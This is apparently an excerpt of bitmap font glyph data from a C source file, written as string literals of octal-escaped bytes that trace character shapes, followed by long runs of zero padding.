"\2\2\2\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\0\0\0\3\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\300@` < `@\300\340\0\0\0\0\0\0\0\0\0\0\0\0\0" "\7\14\30\20\20\60 `@\301\200\0\0\0\0\0\0\0\0\0\0\0\0<\30\20\60 \340 \60" "\20\30\14\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\300`\60\20\20\60`\300\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200" "\203\206LHH,&#\20\20\20\10\10\10\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\340 \340 \340\0\0\0\0\0\0\0\0\0\17\0" "\0\0\0\0\0\377\0\0\0\0\0\0\17\0\0\0\0\0\0\0\0\0\0\0\200\200\200\200\200\377\200\200" "\200\200\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0 \340 \0\0\0 \340 \0\0\0\0\0\0\0\0\0\377" "\0\0\0\0\0\0\0\0\0\0\0\377\0\0\0\0\0\0\0\0\0\0\0\17\70`@\300\200\200\200\300" "@`\70\17\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0 `\340 \0\0\0\0\0 \340` \0\0\0\0\0\0\0\0\3" "\36\360\200\0\0\0\0\0\200\360\36\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\16p\300p\16" "\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0 \340 \0\0\0\0\0 \340 \0\0\0\0\0\0\0\0\7\374" "\0\0\0\340\34\4\34\340\0\0\0\374\7\0\0\0\0\0\0\0\0\0\0\17\370\300>\3\0\0\0\3" ">\300\370\17\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0 `\340 \0\0\0\0\0 \340` \0\0\0\0\0\0\0\0\0\0\0" "\1\3\4\30\260\340\260\30\4\3\1\0\0\0\0\0\0\0\0\0\0\200\300\340\260\214\206\1\0\0\0\1" "\206\214\260\340\300\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0 `\340\240 \0\0\0\0\0 \240\340` \0\0\0\0\0\0\0\0\0\0\0" "\0\3\6\30p\300p\30\6\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\200\377\200\200" "\200\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\340 \240\340\0\0\0\0\0\0\0\0\0\0\0\0\0" "\7\0\0\0\300`\60\34\6\3\0\0\0\0\0\0\0\0\0\0\0\0\0\300\360\230\216\203\201\200\200\200" "\200\200\200\376\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\360\20\20\20\20\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\17\10\10\10\10\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\14x\300\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\1\7<\340\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7\34" "p\300\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\6\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\20\20\20\20\360\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\10\10\10\10\17\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\200\340\60\30\60\340\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\14\7\1\0\0\0\0\0\1\7\14\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0 \0" "\0\0\0\0\0\0\0\0\4\14\30\60`@\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\10\10\14\4\4\4\14\10\70\340\0\0\0\0\0\0\0\0\0\0\0\0|\306\202\203\201\201\201\201\301A" "c\377\200\200\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\20\20\20\360\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377" "`\30\10\14\4\4\4\4\14\10\30p\300\0\0\0\0\0\0\0\200\200\200\377\30`@\300\200\200\200\200" "\300@`\70\17\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300" "p\30\10\14\4\4\4\14\10\10\30|\0\0\0\0\0\0\0\0\0\0\0\17\70`@\300\200\200\200\300" "@@ \60\20\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\20\20\20\360\0\0\0\0\0\0\0\0\0\0\300p" "\30\10\14\4\4\4\4\14\10\30`\377\0\0\0\0\0\0\0\0\0\0\17\70`@\300\200\200\200\200\300" "@`\30\377\200\200\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300p" "\30\10\14\4\4\4\4\14\10\30p\300\0\0\0\0\0\0\0\0\0\0\17\71aA\301\201\201\201\201\201" "\301Aa!\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\200\340\60\20\20\20\20 \0\0\0\0\0\0\0\0\0\0\0\4" "\4\4\4\377\4\4\4\4\4\4\4\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\200\377\200\200\200\200" "\200\200\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300p" "\30\10\14\4\4\4\4\14\10\30`\374\4\4\4\0\0\0\0\0\0\0\17\70`@\300\200\200\200\200\300" "@`\30\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0 \60\20\34\7\0\0\0\0" "\0\0\0\0\0\20\20\20\360\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\377`\30\10\14\4\4\14\10\70\340\0\0\0\0\0\0\0\0\0\0\0\200\200\377\200\200\0\0\0\0\0" "\200\200\377\200\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0pp\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\4\4\4\4\4\374\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\200\200\200\377\200\200" "\200\200\200\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0pp\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\4\4\4\4\4\4\4\4\4\374\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0 \60\20\34\7\0\0\0\0\0\0" "\0\0\0\0\0\0\20\20\20\360\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\377\0\0\200\300d\64\34\14\4\4\0\0\0\0\0\0\0\0\0\0\200\200\200\377\1\1\3\6\14\30" "\260\340\300\200\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\20\20\20\20\20\360\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\200\200\200\377\200\200" "\200\200\200\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\4\4\374\60" "\10\4\4\14\30\360\60\10\4\4\14\30\360\0\0\0\0\0\0\0\200\200\377\200\200\0\0\0\0\377\200\200" "\0\0\0\0\377\200\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\4\4" "\374`\30\10\14\4\4\14\10\70\340\0\0\0\0\0\0\0\0\0\0\0\200\200\377\200\200\0\0\0\0\0" "\200\200\377\200\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300p" "\30\10\14\4\4\4\4\4\14\10\30p\300\0\0\0\0\0\0\0\0\0\17\70`@\300\200\200\200\200\200" "\300@`\70\17\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\10\10\10\370" "`\30\10\14\4\4\4\4\14\10\30p\300\0\0\0\0\0\0\0\0\0\0\377\30`@\300\200\200\200\200" "\300@`\70\17\0\0\0\0\0\0\0 \77 \0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300p" "\30\10\14\4\4\4\4\14\10\30p\370\10\10\10\0\0\0\0\0\0\0\17\70`@\300\200\200\200\200\300" "@`\70\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0 \77 \0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\4\4\4\374`\20\30\10\14\4\4\4\14\10\0\0\0\0\0\0\0\0\0\200\200\200\200\377\200\200\200\200" "\200\200\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "p\330\210\214\4\4\4\14\10\30<\0\0\0\0\0\0\0\0\0\0\0\0\370`@@\301\201\201\201\303" "Bf<\30\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\340\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\4\4" "\4\377\4\4\4\4\4\4\4\4\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\77`\300\200\200\200\200" "\300@` \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\4\4\4" "\374\0\0\0\0\0\0\4\4\4\374\0\0\0\0\0\0\0\0\0\0\0\0\0\77`\300\200\200\200\200\300" "@\60\377\200\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\4\4\14" "|\304\4\0\0\0\0\0\4\304|\14\4\4\0\0\0\0\0\0\0\0\0\0\0\1\17\70\340\200\340\70" "\17\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\4\14\374" "\4\4\0\0\300@\300\0\0\4\4\374\14\4\0\0\0\0\0\0\0\0\0\1\77\340\60\36\3\0\3\36" "\60\340\77\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\4\14" "\34\64d\300\200\0\200\300d\64\34\14\4\0\0\0\0\0\0\0\0\0\200\300\340\260\230\14\7\3\7\14" "\230\260\340\300\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\4\34" "t\304\4\0\0\0\0\0\4\304t\34\4\0\0\0\0\0\0\0\0\0\0\0\0\1\7\34p\300p\34" "\7\1\0\0\0\0\0\0\0\0\0\0\0\0 \70/! \0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "<\4\4\4\4\204\304d\64\34\14\0\0\0\0\0\0\0\0\0\0\0\0\0\300\360\230\214\206\203\200\200" "\200\200\360\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\340\60\30\10\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\200\300\177\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\1\3\376\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7\14\10\10\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\370\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\17\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\10\30\60\340\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\177\300\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\376\3\1" "\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\10\10\14\7\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300" "` \60\60`@\300\200\0\200\300`\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1" "\1\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" 